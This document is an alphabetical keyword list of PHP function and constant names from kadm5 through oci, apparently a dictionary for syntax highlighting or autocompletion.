kadm5_create_principal kadm5_delete_principal kadm5_destroy kadm5_fail_auth_count kadm5_flush kadm5_get_policies kadm5_get_principal kadm5_get_principals kadm5_init_with_password kadm5_kvno kadm5_last_failed kadm5_last_pw_change kadm5_last_success kadm5_max_life kadm5_max_rlife kadm5_mod_name kadm5_mod_time kadm5_modify_principal kadm5_policy kadm5_princ_expire_time kadm5_principal kadm5_pw_expiration kadm5_randkey key key_exists krb5_kdb_disallow_all_tix krb5_kdb_disallow_dup_skey krb5_kdb_disallow_forwardable krb5_kdb_disallow_postdated krb5_kdb_disallow_proxiable krb5_kdb_disallow_renewable krb5_kdb_disallow_svr krb5_kdb_disallow_tgt_based krb5_kdb_new_princ krb5_kdb_pwchange_server krb5_kdb_requires_hw_auth krb5_kdb_requires_pre_auth krb5_kdb_requires_pwchange krb5_kdb_support_desmd5 krsort ksort latt_haschildren latt_hasnochildren latt_marked latt_noinferiors latt_noselect latt_referral latt_unmarked lc_all lc_collate lc_ctype lc_messages lc_monetary lc_numeric lc_time lcfirst lcg_value lchgrp lchown ldap_8859_to_t61 ldap_add ldap_bind ldap_close ldap_compare ldap_connect ldap_control_paged_result ldap_control_paged_result_response ldap_count_entries ldap_delete ldap_dn2ufn ldap_err2str ldap_errno ldap_error ldap_escape ldap_explode_dn ldap_first_attribute ldap_first_entry ldap_first_reference ldap_free_result ldap_get_attributes ldap_get_dn ldap_get_entries ldap_get_option ldap_get_values ldap_get_values_len ldap_list ldap_mod_add ldap_mod_del ldap_mod_replace ldap_modify ldap_modify_batch ldap_next_attribute ldap_next_entry ldap_next_reference ldap_parse_reference ldap_parse_result ldap_read ldap_rename ldap_sasl_bind ldap_search ldap_set_option ldap_set_rebind_proc ldap_sort ldap_start_tls ldap_t61_to_8859 ldap_unbind levenshtein libexslt_dotted_version libexslt_version libxml_clear_errors libxml_compact libxml_disable_entity_loader libxml_dotted_version libxml_dtdattr libxml_dtdload libxml_dtdvalid libxml_err_error libxml_err_fatal libxml_err_none libxml_err_warning libxml_get_errors libxml_get_last_error libxml_html_nodefdtd libxml_html_noimplied libxml_loaded_version libxml_noblanks libxml_nocdata libxml_noemptytag libxml_noent libxml_noerror libxml_nonet libxml_nowarning libxml_noxmldecl libxml_nsclean libxml_parsehuge libxml_pedantic libxml_schema_create libxml_set_external_entity_loader libxml_set_streams_context libxml_use_internal_errors libxml_version libxml_xinclude libxslt_dotted_version libxslt_version link linkinfo list locale_accept_from_http locale_canonicalize locale_compose locale_filter_matches locale_get_all_variants locale_get_default locale_get_display_language locale_get_display_name locale_get_display_region locale_get_display_script locale_get_display_variant locale_get_keywords locale_get_primary_language locale_get_region locale_get_script locale_lookup locale_parse locale_set_default localeconv localtime lock_ex lock_nb lock_sh lock_un log log10 log1p log_alert log_auth log_authpriv log_cons log_crit log_cron log_daemon log_debug log_emerg log_err log_info log_kern log_local0 log_local1 log_local2 log_local3 log_local4 log_local5 log_local6 log_local7 log_lpr log_mail log_ndelay log_news log_notice log_nowait log_odelay log_perror log_pid log_syslog log_user log_uucp log_warning long2ip lstat ltrim lzf_compress lzf_decompress lzf_optimized_for m_1_pi m_2_pi m_2_sqrtpi m_checkstatus m_completeauthorizations m_connect m_connectionerror m_deletetrans m_destroyconn m_destroyengine m_done m_e m_error m_euler m_fail m_getcell m_getcellbynum m_getcommadelimited m_getheader m_initconn m_initengine m_iscommadelimited m_ln10 m_ln2 m_lnpi m_log10e m_log2e m_maxconntimeout m_monitor m_numcolumns m_numrows m_parsecommadelimited m_pending m_pi m_pi_2 m_pi_4 m_responsekeys m_responseparam m_returnstatus m_setblocking m_setdropfile m_setip m_setssl m_setssl_cafile m_setssl_files m_settimeout m_sqrt1_2 m_sqrt2 + m_sqrt3 m_sqrtpi m_sslcert_gen_hash m_success m_transactionssent m_transinqueue m_transkeyval m_transnew m_transsend m_uwait m_validateidentifier m_verifyconnection m_verifysslcert magic_quotes_runtime mail mailparse_determine_best_xfer_encoding mailparse_extract_output mailparse_extract_return mailparse_extract_stream mailparse_msg_create mailparse_msg_extract_part mailparse_msg_extract_part_file mailparse_msg_extract_whole_part_file mailparse_msg_free mailparse_msg_get_part mailparse_msg_get_part_data mailparse_msg_get_structure mailparse_msg_parse mailparse_msg_parse_file mailparse_rfc822_parse_addresses mailparse_stream_encode mailparse_uudecode_all main max maxdb_affected_rows maxdb_application maxdb_appversion maxdb_assoc maxdb_assoc_lower maxdb_assoc_upper maxdb_autocommit maxdb_bind_param maxdb_bind_result maxdb_both maxdb_change_user maxdb_character_set_name maxdb_client_encoding maxdb_close maxdb_close_long_data maxdb_commit maxdb_compname maxdb_connect maxdb_connect_errno maxdb_connect_error maxdb_cursorprefix maxdb_data_seek maxdb_debug maxdb_disable_reads_from_master maxdb_disable_rpl_parse maxdb_dump_debug_info maxdb_embedded_connect maxdb_enable_reads_from_master maxdb_enable_rpl_parse maxdb_errno maxdb_error maxdb_escape_string maxdb_execute maxdb_fetch maxdb_fetch_array maxdb_fetch_assoc maxdb_fetch_field maxdb_fetch_field_direct maxdb_fetch_fields maxdb_fetch_lengths maxdb_fetch_object maxdb_fetch_row maxdb_field_count maxdb_field_seek maxdb_field_tell maxdb_free_result maxdb_get_client_info maxdb_get_client_version maxdb_get_host_info maxdb_get_metadata maxdb_get_proto_info maxdb_get_server_info maxdb_get_server_version maxdb_info maxdb_init maxdb_insert_id maxdb_isolationlevel maxdb_kill maxdb_master_query maxdb_more_results maxdb_multi_query maxdb_next_result maxdb_num maxdb_num_fields maxdb_num_rows maxdb_options maxdb_packetcount maxdb_param_count maxdb_ping maxdb_prepare maxdb_query maxdb_real_connect maxdb_real_escape_string maxdb_real_query maxdb_report maxdb_rollback maxdb_rpl_parse_enabled maxdb_rpl_probe maxdb_rpl_query_type maxdb_select_db maxdb_send_long_data maxdb_send_query maxdb_server_end maxdb_server_init maxdb_set_opt maxdb_sqlmode maxdb_sqlstate maxdb_ssl_set maxdb_stat maxdb_statementcachesize maxdb_stmt_affected_rows maxdb_stmt_bind_param maxdb_stmt_bind_result maxdb_stmt_close maxdb_stmt_close_long_data maxdb_stmt_data_seek maxdb_stmt_errno maxdb_stmt_error maxdb_stmt_execute maxdb_stmt_fetch maxdb_stmt_free_result maxdb_stmt_init maxdb_stmt_num_rows maxdb_stmt_param_count maxdb_stmt_prepare maxdb_stmt_reset maxdb_stmt_result_metadata maxdb_stmt_send_long_data maxdb_stmt_sqlstate maxdb_stmt_store_result maxdb_store_result maxdb_thread_id maxdb_thread_safe maxdb_timeout maxdb_unicode maxdb_use_result maxdb_warning_count mb_case_lower mb_case_title mb_case_upper mb_check_encoding mb_convert_case mb_convert_encoding mb_convert_kana mb_convert_variables mb_decode_mimeheader mb_decode_numericentity mb_detect_encoding mb_detect_order mb_encode_mimeheader mb_encode_numericentity mb_encoding_aliases mb_ereg mb_ereg_match mb_ereg_replace mb_ereg_replace_callback mb_ereg_search mb_ereg_search_getpos mb_ereg_search_getregs mb_ereg_search_init mb_ereg_search_pos mb_ereg_search_regs mb_ereg_search_setpos mb_eregi mb_eregi_replace mb_get_info mb_http_input mb_http_output mb_internal_encoding mb_language mb_list_encodings mb_output_handler mb_overload_mail mb_overload_regex mb_overload_string mb_parse_str mb_preferred_mime_name mb_regex_encoding mb_regex_set_options mb_send_mail mb_split mb_strcut mb_strimwidth mb_stripos mb_stristr mb_strlen mb_strpos mb_strrchr mb_strrichr mb_strripos mb_strrpos mb_strstr mb_strtolower mb_strtoupper mb_strwidth mb_substitute_character mb_substr mb_substr_count mbereg mbereg_match mbereg_replace mbereg_search mbereg_search_getpos mbereg_search_getregs mbereg_search_init mbereg_search_pos mbereg_search_regs mbereg_search_setpos mberegi mberegi_replace mbregex_encoding mbsplit mcast_block_source mcast_join_group mcast_join_source_group mcast_leave_group mcast_leave_source_group mcast_unblock_source mcrypt_3des mcrypt_arcfour mcrypt_arcfour_iv mcrypt_blowfish mcrypt_blowfish_compat mcrypt_cast_128 mcrypt_cast_256 mcrypt_cbc mcrypt_cfb mcrypt_create_iv mcrypt_crypt mcrypt_decrypt mcrypt_des mcrypt_dev_random mcrypt_dev_urandom mcrypt_ecb mcrypt_enc_get_algorithms_name mcrypt_enc_get_block_size mcrypt_enc_get_iv_size mcrypt_enc_get_key_size mcrypt_enc_get_modes_name mcrypt_enc_get_supported_key_sizes mcrypt_enc_is_block_algorithm mcrypt_enc_is_block_algorithm_mode mcrypt_enc_is_block_mode mcrypt_enc_self_test mcrypt_encrypt mcrypt_enigna mcrypt_generic mcrypt_generic_deinit mcrypt_generic_end mcrypt_generic_init mcrypt_get_block_size mcrypt_get_cipher_name mcrypt_get_iv_size mcrypt_get_key_size mcrypt_gost mcrypt_idea mcrypt_list_algorithms mcrypt_list_modes mcrypt_loki97 mcrypt_mars mcrypt_mode_cbc mcrypt_mode_cfb mcrypt_mode_ecb mcrypt_mode_nofb mcrypt_mode_ofb mcrypt_mode_stream mcrypt_module_close mcrypt_module_get_algo_block_size mcrypt_module_get_algo_key_size mcrypt_module_get_supported_key_sizes mcrypt_module_is_block_algorithm mcrypt_module_is_block_algorithm_mode mcrypt_module_is_block_mode mcrypt_module_open mcrypt_module_self_test mcrypt_ofb mcrypt_panama mcrypt_rand mcrypt_rc2 mcrypt_rc6 mcrypt_rijndael_128 mcrypt_rijndael_192 mcrypt_rijndael_256 mcrypt_safer128 mcrypt_safer64 mcrypt_saferplus mcrypt_serpent mcrypt_skipjack mcrypt_threeway mcrypt_tripledes mcrypt_twofish mcrypt_wake mcrypt_xtea md5 md5_file mdecrypt_generic memcache_add memcache_add_server memcache_append memcache_cas memcache_close memcache_compressed memcache_connect memcache_debug memcache_decrement memcache_delete memcache_flush memcache_get memcache_get_extended_stats memcache_get_server_status memcache_get_stats memcache_get_version memcache_have_session memcache_increment memcache_pconnect memcache_prepend memcache_replace memcache_set memcache_set_compress_threshold memcache_set_failure_callback memcache_set_server_params memory_get_peak_usage memory_get_usage memory_trace metaphone method_exists mhash mhash_adler32 mhash_count mhash_crc32 mhash_crc32b mhash_fnv132 mhash_fnv164 mhash_fnv1a32 mhash_fnv1a64 mhash_get_block_size mhash_get_hash_name mhash_gost mhash_haval128 mhash_haval160 mhash_haval192 mhash_haval224 mhash_haval256 mhash_joaat mhash_keygen_s2k mhash_md2 mhash_md4 mhash_md5 mhash_ripemd128 mhash_ripemd160 mhash_ripemd256 mhash_ripemd320 mhash_sha1 mhash_sha224 mhash_sha256 mhash_sha384 mhash_sha512 mhash_snefru256 mhash_tiger mhash_tiger128 mhash_tiger160 mhash_whirlpool microtime mime_content_type min ming_keypress ming_new ming_setcubicthreshold ming_setscale ming_setswfcompression ming_useconstants ming_useswfversion ming_zlib mk_e_unavailable mkdir mktime mon_1 mon_10 mon_11 mon_12 mon_2 mon_3 mon_4 mon_5 mon_6 mon_7 mon_8 mon_9 mon_decimal_point mon_grouping mon_thousands_sep money_format mongo_stream_notify_io_completed mongo_stream_notify_io_progress mongo_stream_notify_io_read mongo_stream_notify_io_write mongo_stream_notify_log_batchinsert mongo_stream_notify_log_cmd_delete mongo_stream_notify_log_cmd_insert mongo_stream_notify_log_cmd_update mongo_stream_notify_log_delete mongo_stream_notify_log_getmore mongo_stream_notify_log_insert mongo_stream_notify_log_killcursor mongo_stream_notify_log_query mongo_stream_notify_log_response_header mongo_stream_notify_log_update mongo_stream_notify_log_write_batch mongo_stream_notify_log_write_reply mongo_stream_notify_type_io_init mongo_stream_notify_type_log mongo_streams mongo_supports_auth_mechanism_gssapi mongo_supports_auth_mechanism_mongodb_cr mongo_supports_auth_mechanism_mongodb_x509 mongo_supports_auth_mechanism_plain mongo_supports_ssl mongo_supports_streams move_uploaded_file mqseries_back mqseries_begin mqseries_close mqseries_cmit mqseries_conn mqseries_connx mqseries_disc mqseries_get mqseries_inq mqseries_mqcc_failed mqseries_mqcc_ok mqseries_mqcc_unknown mqseries_mqcc_warning mqseries_open mqseries_put mqseries_put1 mqseries_set mqseries_strerror msession_connect msession_count msession_create msession_destroy msession_disconnect msession_find msession_get msession_get_array msession_get_data msession_inc msession_list msession_listvar msession_lock msession_plugin msession_randstr msession_set msession_set_array msession_set_data msession_timeout msession_uniq msession_unlock msg_ctrunc msg_dontroute msg_dontwait msg_eagain msg_enomsg msg_eof msg_eor msg_except msg_get_queue msg_ipc_nowait msg_noerror msg_oob msg_peek msg_queue_exists msg_receive msg_remove_queue msg_send msg_set_queue msg_stat_queue msg_trunc msg_waitall msgfmt_create msgfmt_format msgfmt_format_message msgfmt_get_error_code msgfmt_get_error_message msgfmt_get_locale msgfmt_get_pattern msgfmt_parse msgfmt_parse_message msgfmt_set_pattern msql msql_affected_rows msql_assoc msql_both msql_close msql_connect msql_create_db msql_createdb msql_data_seek msql_db_query msql_dbname msql_drop_db msql_error msql_fetch_array msql_fetch_field msql_fetch_object msql_fetch_row msql_field_flags msql_field_len msql_field_name msql_field_seek msql_field_table msql_field_type msql_fieldflags msql_fieldlen msql_fieldname msql_fieldtable msql_fieldtype msql_free_result msql_list_dbs msql_list_fields msql_list_tables msql_num msql_num_fields msql_num_rows msql_numfields msql_numrows msql_pconnect msql_query msql_regcase msql_result msql_select_db msql_tablename mssql_assoc mssql_bind mssql_both mssql_close mssql_connect mssql_data_seek mssql_execute mssql_fetch_array mssql_fetch_assoc mssql_fetch_batch mssql_fetch_field mssql_fetch_object mssql_fetch_row mssql_field_length mssql_field_name mssql_field_seek mssql_field_type mssql_free_result + mssql_free_statement mssql_get_last_message mssql_guid_string mssql_init mssql_min_error_severity mssql_min_message_severity mssql_next_result mssql_num mssql_num_fields mssql_num_rows mssql_pconnect mssql_query mssql_result mssql_rows_affected mssql_select_db mt_getrandmax mt_rand mt_srand mysql mysql_affected_rows mysql_assoc mysql_both mysql_client_compress mysql_client_encoding mysql_client_ignore_space mysql_client_interactive mysql_client_ssl mysql_close mysql_connect mysql_create_db mysql_data_seek mysql_db_name mysql_db_query mysql_dbname mysql_drop_db mysql_errno mysql_error mysql_escape_string mysql_fetch_array mysql_fetch_assoc mysql_fetch_field mysql_fetch_lengths mysql_fetch_object mysql_fetch_row mysql_field_flags mysql_field_len mysql_field_name mysql_field_seek mysql_field_table mysql_field_type mysql_fieldflags mysql_fieldlen mysql_fieldname mysql_fieldtable mysql_fieldtype mysql_free_result mysql_freeresult mysql_get_client_info mysql_get_host_info mysql_get_proto_info mysql_get_server_info mysql_info mysql_insert_id mysql_list_dbs mysql_list_fields mysql_list_processes mysql_list_tables mysql_listdbs mysql_listfields mysql_listtables mysql_num mysql_num_fields mysql_num_rows mysql_numfields mysql_numrows mysql_pconnect mysql_ping mysql_query mysql_real_escape_string mysql_result mysql_select_db mysql_selectdb mysql_set_charset mysql_stat mysql_table_name mysql_tablename mysql_thread_id mysql_unbuffered_query mysqli_affected_rows mysqli_assoc mysqli_async mysqli_auto_increment_flag mysqli_autocommit mysqli_begin_transaction mysqli_binary_flag mysqli_bind_param mysqli_bind_result mysqli_blob_flag mysqli_both mysqli_change_user mysqli_character_set_name mysqli_client_can_handle_expired_passwords mysqli_client_compress mysqli_client_encoding mysqli_client_found_rows mysqli_client_ignore_space mysqli_client_interactive mysqli_client_multi_queries mysqli_client_no_schema mysqli_client_ssl mysqli_close mysqli_commit mysqli_connect mysqli_connect_errno mysqli_connect_error mysqli_cursor_type_for_update mysqli_cursor_type_no_cursor mysqli_cursor_type_read_only mysqli_cursor_type_scrollable mysqli_data_seek mysqli_data_truncated mysqli_debug mysqli_debug_trace_enabled mysqli_dump_debug_info mysqli_embedded_server_end mysqli_embedded_server_start mysqli_enum_flag mysqli_errno mysqli_error mysqli_error_list mysqli_escape_string mysqli_execute mysqli_fetch mysqli_fetch_all mysqli_fetch_array mysqli_fetch_assoc mysqli_fetch_field mysqli_fetch_field_direct mysqli_fetch_fields mysqli_fetch_lengths mysqli_fetch_object mysqli_fetch_row mysqli_field_count mysqli_field_seek mysqli_field_tell mysqli_free_result mysqli_get_cache_stats mysqli_get_charset mysqli_get_client_info mysqli_get_client_stats mysqli_get_client_version mysqli_get_connection_stats mysqli_get_host_info mysqli_get_links_stats mysqli_get_metadata mysqli_get_proto_info mysqli_get_server_info mysqli_get_server_version mysqli_get_warnings mysqli_group_flag mysqli_info mysqli_init mysqli_init_command mysqli_insert_id mysqli_kill mysqli_more_results mysqli_multi_query mysqli_multiple_key_flag mysqli_need_data mysqli_next_result mysqli_no_data mysqli_no_default_value_flag mysqli_not_null_flag mysqli_num mysqli_num_fields mysqli_num_flag mysqli_num_rows mysqli_on_update_now_flag mysqli_opt_can_handle_expired_passwords mysqli_opt_connect_timeout mysqli_opt_int_and_float_native mysqli_opt_local_infile mysqli_opt_net_cmd_buffer_size mysqli_opt_net_read_buffer_size mysqli_opt_ssl_verify_server_cert mysqli_options mysqli_param_count mysqli_part_key_flag mysqli_ping mysqli_poll mysqli_prepare mysqli_pri_key_flag mysqli_query mysqli_read_default_file mysqli_read_default_group mysqli_real_connect mysqli_real_escape_string mysqli_real_query mysqli_reap_async_query mysqli_refresh mysqli_refresh_backup_log mysqli_refresh_grant mysqli_refresh_hosts mysqli_refresh_log mysqli_refresh_master mysqli_refresh_slave mysqli_refresh_status mysqli_refresh_tables mysqli_refresh_threads mysqli_release_savepoint mysqli_report mysqli_report_all mysqli_report_error mysqli_report_index mysqli_report_off mysqli_report_strict mysqli_rollback mysqli_savepoint mysqli_select_db mysqli_send_long_data mysqli_server_ps_out_params mysqli_server_public_key mysqli_server_query_no_good_index_used mysqli_server_query_no_index_used mysqli_server_query_was_slow mysqli_set_charset mysqli_set_charset_dir mysqli_set_charset_name mysqli_set_flag mysqli_set_local_infile_default mysqli_set_local_infile_handler mysqli_set_opt mysqli_sqlstate mysqli_ssl_set mysqli_stat mysqli_stmt_affected_rows mysqli_stmt_attr_cursor_type mysqli_stmt_attr_get mysqli_stmt_attr_prefetch_rows mysqli_stmt_attr_set mysqli_stmt_attr_update_max_length mysqli_stmt_bind_param mysqli_stmt_bind_result mysqli_stmt_close mysqli_stmt_data_seek mysqli_stmt_errno mysqli_stmt_error mysqli_stmt_error_list mysqli_stmt_execute mysqli_stmt_fetch mysqli_stmt_field_count mysqli_stmt_free_result mysqli_stmt_get_result mysqli_stmt_get_warnings mysqli_stmt_init mysqli_stmt_insert_id mysqli_stmt_more_results mysqli_stmt_next_result mysqli_stmt_num_rows mysqli_stmt_param_count mysqli_stmt_prepare mysqli_stmt_reset mysqli_stmt_result_metadata mysqli_stmt_send_long_data mysqli_stmt_sqlstate mysqli_stmt_store_result mysqli_store_result mysqli_store_result_copy_data mysqli_thread_id mysqli_thread_safe mysqli_timestamp_flag mysqli_trans_cor_and_chain mysqli_trans_cor_and_no_chain mysqli_trans_cor_no_release mysqli_trans_cor_release mysqli_trans_start_read_only mysqli_trans_start_read_write mysqli_trans_start_with_consistent_snapshot mysqli_type_bit mysqli_type_blob mysqli_type_char mysqli_type_date mysqli_type_datetime mysqli_type_decimal mysqli_type_double mysqli_type_enum mysqli_type_float mysqli_type_geometry mysqli_type_int24 mysqli_type_interval mysqli_type_long mysqli_type_long_blob mysqli_type_longlong mysqli_type_medium_blob mysqli_type_newdate mysqli_type_newdecimal mysqli_type_null mysqli_type_set mysqli_type_short mysqli_type_string mysqli_type_time mysqli_type_timestamp mysqli_type_tiny mysqli_type_tiny_blob mysqli_type_var_string mysqli_type_year mysqli_unique_key_flag mysqli_unsigned_flag mysqli_use_result mysqli_warning_count mysqli_zerofill_flag n_cs_precedes n_sep_by_space n_sign_posn namespace nan natcasesort natsort ncurses_addch ncurses_addchnstr ncurses_addchstr ncurses_addnstr ncurses_addstr ncurses_all_mouse_events ncurses_assume_default_colors ncurses_attroff ncurses_attron ncurses_attrset ncurses_baudrate ncurses_beep ncurses_bkgd ncurses_bkgdset ncurses_border ncurses_bottom_panel ncurses_button1_clicked ncurses_button1_double_clicked ncurses_button1_pressed ncurses_button1_released ncurses_button1_triple_clicked ncurses_button_alt ncurses_button_ctrl ncurses_button_shift ncurses_can_change_color ncurses_cbreak ncurses_clear ncurses_clrtobot ncurses_clrtoeol ncurses_color_black ncurses_color_blue ncurses_color_content ncurses_color_cyan ncurses_color_green ncurses_color_magenta ncurses_color_red ncurses_color_set ncurses_color_white ncurses_color_yellow ncurses_curs_set ncurses_def_prog_mode ncurses_def_shell_mode ncurses_define_key ncurses_del_panel ncurses_delay_output ncurses_delch ncurses_deleteln ncurses_delwin ncurses_doupdate ncurses_echo ncurses_echochar ncurses_end ncurses_erase ncurses_erasechar ncurses_filter ncurses_flash ncurses_flushinp ncurses_getch ncurses_getmaxyx ncurses_getmouse ncurses_getyx ncurses_halfdelay ncurses_has_colors ncurses_has_ic ncurses_has_il ncurses_has_key ncurses_hide_panel ncurses_hline ncurses_inch ncurses_init ncurses_init_color ncurses_init_pair ncurses_insch ncurses_insdelln ncurses_insertln ncurses_insstr ncurses_instr ncurses_isendwin ncurses_key_a1 ncurses_key_a3 ncurses_key_b2 ncurses_key_backspace ncurses_key_beg ncurses_key_btab ncurses_key_c1 ncurses_key_c3 ncurses_key_cancel ncurses_key_catab ncurses_key_clear ncurses_key_close ncurses_key_command ncurses_key_copy ncurses_key_create ncurses_key_ctab ncurses_key_dc ncurses_key_dl ncurses_key_down ncurses_key_eic ncurses_key_end ncurses_key_eol ncurses_key_eos ncurses_key_exit ncurses_key_f0 ncurses_key_find ncurses_key_help ncurses_key_home ncurses_key_ic ncurses_key_il ncurses_key_left ncurses_key_ll ncurses_key_mark ncurses_key_max ncurses_key_message ncurses_key_mouse ncurses_key_move ncurses_key_next ncurses_key_npage ncurses_key_open ncurses_key_options ncurses_key_ppage ncurses_key_previous ncurses_key_print ncurses_key_redo ncurses_key_reference ncurses_key_refresh ncurses_key_replace ncurses_key_reset ncurses_key_restart ncurses_key_resume ncurses_key_right ncurses_key_save ncurses_key_sbeg ncurses_key_scancel ncurses_key_scommand ncurses_key_scopy ncurses_key_screate ncurses_key_sdc ncurses_key_sdl ncurses_key_select ncurses_key_send ncurses_key_seol ncurses_key_sexit ncurses_key_sf ncurses_key_sfind ncurses_key_shelp ncurses_key_shome ncurses_key_sic ncurses_key_sleft ncurses_key_smessage ncurses_key_smove ncurses_key_snext ncurses_key_soptions ncurses_key_sprevious ncurses_key_sprint ncurses_key_sr ncurses_key_sredo ncurses_key_sreplace ncurses_key_sreset ncurses_key_sright ncurses_key_srsume ncurses_key_ssave ncurses_key_ssuspend ncurses_key_stab ncurses_key_undo ncurses_key_up ncurses_keyok ncurses_keypad ncurses_killchar ncurses_longname ncurses_meta ncurses_mouse_trafo ncurses_mouseinterval ncurses_mousemask ncurses_move ncurses_move_panel ncurses_mvaddch ncurses_mvaddchnstr ncurses_mvaddchstr ncurses_mvaddnstr ncurses_mvaddstr ncurses_mvcur ncurses_mvdelch ncurses_mvgetch ncurses_mvhline ncurses_mvinch ncurses_mvvline ncurses_mvwaddstr ncurses_napms ncurses_new_panel ncurses_newpad ncurses_newwin ncurses_nl ncurses_nocbreak ncurses_noecho ncurses_nonl ncurses_noqiflush ncurses_noraw ncurses_pair_content + ncurses_panel_above ncurses_panel_below ncurses_panel_window ncurses_pnoutrefresh ncurses_prefresh ncurses_putp ncurses_qiflush ncurses_raw ncurses_refresh ncurses_replace_panel ncurses_report_mouse_position ncurses_reset_prog_mode ncurses_reset_shell_mode ncurses_resetty ncurses_savetty ncurses_scr_dump ncurses_scr_init ncurses_scr_restore ncurses_scr_set ncurses_scrl ncurses_show_panel ncurses_slk_attr ncurses_slk_attroff ncurses_slk_attron ncurses_slk_attrset ncurses_slk_clear ncurses_slk_color ncurses_slk_init ncurses_slk_noutrefresh ncurses_slk_refresh ncurses_slk_restore ncurses_slk_set ncurses_slk_touch ncurses_standend ncurses_standout ncurses_start_color ncurses_termattrs ncurses_termname ncurses_timeout ncurses_top_panel ncurses_typeahead ncurses_ungetch ncurses_ungetmouse ncurses_update_panels ncurses_use_default_colors ncurses_use_env ncurses_use_extended_names ncurses_vidattr ncurses_vline ncurses_waddch ncurses_waddstr ncurses_wattroff ncurses_wattron ncurses_wattrset ncurses_wborder ncurses_wclear ncurses_wcolor_set ncurses_werase ncurses_wgetch ncurses_whline ncurses_wmouse_trafo ncurses_wmove ncurses_wnoutrefresh ncurses_wrefresh ncurses_wstandend ncurses_wstandout ncurses_wvline negative_sign new newt_anchor_bottom newt_anchor_left newt_anchor_right newt_anchor_top newt_arg_append newt_arg_last newt_bell newt_button newt_button_bar newt_centered_window newt_checkbox newt_checkbox_get_value newt_checkbox_set_flags newt_checkbox_set_value newt_checkbox_tree newt_checkbox_tree_add_item newt_checkbox_tree_find_item newt_checkbox_tree_get_current newt_checkbox_tree_get_entry_value newt_checkbox_tree_get_multi_selection newt_checkbox_tree_get_selection newt_checkbox_tree_multi newt_checkbox_tree_set_current newt_checkbox_tree_set_entry newt_checkbox_tree_set_entry_value newt_checkbox_tree_set_width newt_checkboxtree_collapsed newt_checkboxtree_expanded newt_checkboxtree_hide_box newt_checkboxtree_selected newt_checkboxtree_unselectable newt_checkboxtree_unselected newt_clear_key_buffer newt_cls newt_colorset_actbutton newt_colorset_actcheckbox newt_colorset_actlistbox newt_colorset_actsellistbox newt_colorset_acttextbox newt_colorset_border newt_colorset_button newt_colorset_checkbox newt_colorset_compactbutton newt_colorset_disentry newt_colorset_emptyscale newt_colorset_entry newt_colorset_fullscale newt_colorset_helpline newt_colorset_label newt_colorset_listbox newt_colorset_root newt_colorset_roottext newt_colorset_sellistbox newt_colorset_shadow newt_colorset_textbox newt_colorset_title newt_colorset_window newt_compact_button newt_component_add_callback newt_component_takes_focus newt_create_grid newt_cursor_off newt_cursor_on newt_delay newt_draw_form newt_draw_root_text newt_entry newt_entry_disabled newt_entry_get_value newt_entry_hidden newt_entry_returnexit newt_entry_scroll newt_entry_set newt_entry_set_filter newt_entry_set_flags newt_exit_component newt_exit_fdready newt_exit_hotkey newt_exit_timer newt_fd_except newt_fd_read newt_fd_write newt_finished newt_flag_border newt_flag_checkbox newt_flag_disabled newt_flag_hidden newt_flag_multiple newt_flag_nof12 newt_flag_password newt_flag_returnexit newt_flag_scroll newt_flag_selected newt_flag_showcursor newt_flag_wrap newt_flags_reset newt_flags_set newt_flags_toggle newt_form newt_form_add_component newt_form_add_components newt_form_add_hot_key newt_form_destroy newt_form_get_current newt_form_nof12 newt_form_run newt_form_set_background newt_form_set_height newt_form_set_size newt_form_set_timer newt_form_set_width newt_form_watch_fd newt_get_screen_size newt_grid_add_components_to_form newt_grid_basic_window newt_grid_component newt_grid_empty newt_grid_flag_growx newt_grid_flag_growy newt_grid_free newt_grid_get_size newt_grid_h_close_stacked newt_grid_h_stacked newt_grid_place newt_grid_set_field newt_grid_simple_window newt_grid_subgrid newt_grid_v_close_stacked newt_grid_v_stacked newt_grid_wrapped_window newt_grid_wrapped_window_at newt_init newt_key_bkspc newt_key_delete newt_key_down newt_key_end newt_key_enter newt_key_escape newt_key_extra_base newt_key_f1 newt_key_f10 newt_key_f11 newt_key_f12 newt_key_f2 newt_key_f3 newt_key_f4 newt_key_f5 newt_key_f6 newt_key_f7 newt_key_f8 newt_key_f9 newt_key_home newt_key_insert newt_key_left newt_key_pgdn newt_key_pgup newt_key_resize newt_key_return newt_key_right newt_key_suspend newt_key_tab newt_key_untab newt_key_up newt_label newt_label_set_text newt_listbox newt_listbox_append_entry newt_listbox_clear newt_listbox_clear_selection newt_listbox_delete_entry newt_listbox_get_current newt_listbox_get_selection newt_listbox_insert_entry newt_listbox_item_count newt_listbox_returnexit newt_listbox_select_item newt_listbox_set_current newt_listbox_set_current_by_key newt_listbox_set_data newt_listbox_set_entry newt_listbox_set_width newt_listitem newt_listitem_get_data newt_listitem_set newt_open_window newt_pop_help_line newt_pop_window newt_push_help_line newt_radio_get_current newt_radiobutton newt_redraw_help_line newt_reflow_text newt_refresh newt_resize_screen newt_resume newt_run_form newt_scale newt_scale_set newt_scrollbar_set newt_set_help_callback newt_set_suspend_callback newt_suspend newt_textbox newt_textbox_get_num_lines newt_textbox_reflowed newt_textbox_scroll newt_textbox_set_height newt_textbox_set_text newt_textbox_wrap newt_vertical_scrollbar newt_wait_for_key newt_win_choice newt_win_entries newt_win_menu newt_win_message newt_win_messagev newt_win_ternary next ngettext nil nl2br nl_langinfo noexpr norm_ignorecase norm_ignorekanatype norm_ignorekashida norm_ignorenonspace norm_ignoresymbols norm_ignorewidth normalizer_is_normalized normalizer_normalize nostr nthmac null number_format numfmt_create numfmt_format numfmt_format_currency numfmt_get_attribute numfmt_get_error_code numfmt_get_error_message numfmt_get_locale numfmt_get_pattern numfmt_get_symbol numfmt_get_text_attribute numfmt_parse numfmt_parse_currency numfmt_set_attribute numfmt_set_pattern numfmt_set_symbol numfmt_set_text_attribute o_append o_async o_creat o_excl o_ndelay o_noctty o_nonblock o_rdonly o_rdwr o_sync o_trunc o_wronly ob_clean ob_deflatehandler ob_end_clean ob_end_flush ob_etaghandler ob_flush ob_get_clean ob_get_contents ob_get_flush ob_get_length ob_get_level ob_get_status ob_gzhandler ob_iconv_handler ob_implicit_flush ob_inflatehandler ob_list_handlers ob_start ob_tidyhandler object oci_assoc oci_b_bfile oci_b_bin oci_b_blob oci_b_bol oci_b_cfilee oci_b_clob oci_b_cursor oci_b_int oci_b_nty oci_b_num oci_b_rowid oci_bind_array_by_name oci_bind_by_name oci_both oci_cancel oci_client_version oci_close oci_commit oci_commit_on_success oci_connect oci_cred_ext oci_d_file oci_d_lob oci_d_rowid oci_default oci_define_by_name oci_describe_only oci_dtype_file oci_dtype_lob oci_dtype_rowid oci_error oci_exact_fetch oci_execute oci_fetch oci_fetch_all oci_fetch_array oci_fetch_assoc oci_fetch_object oci_fetch_row 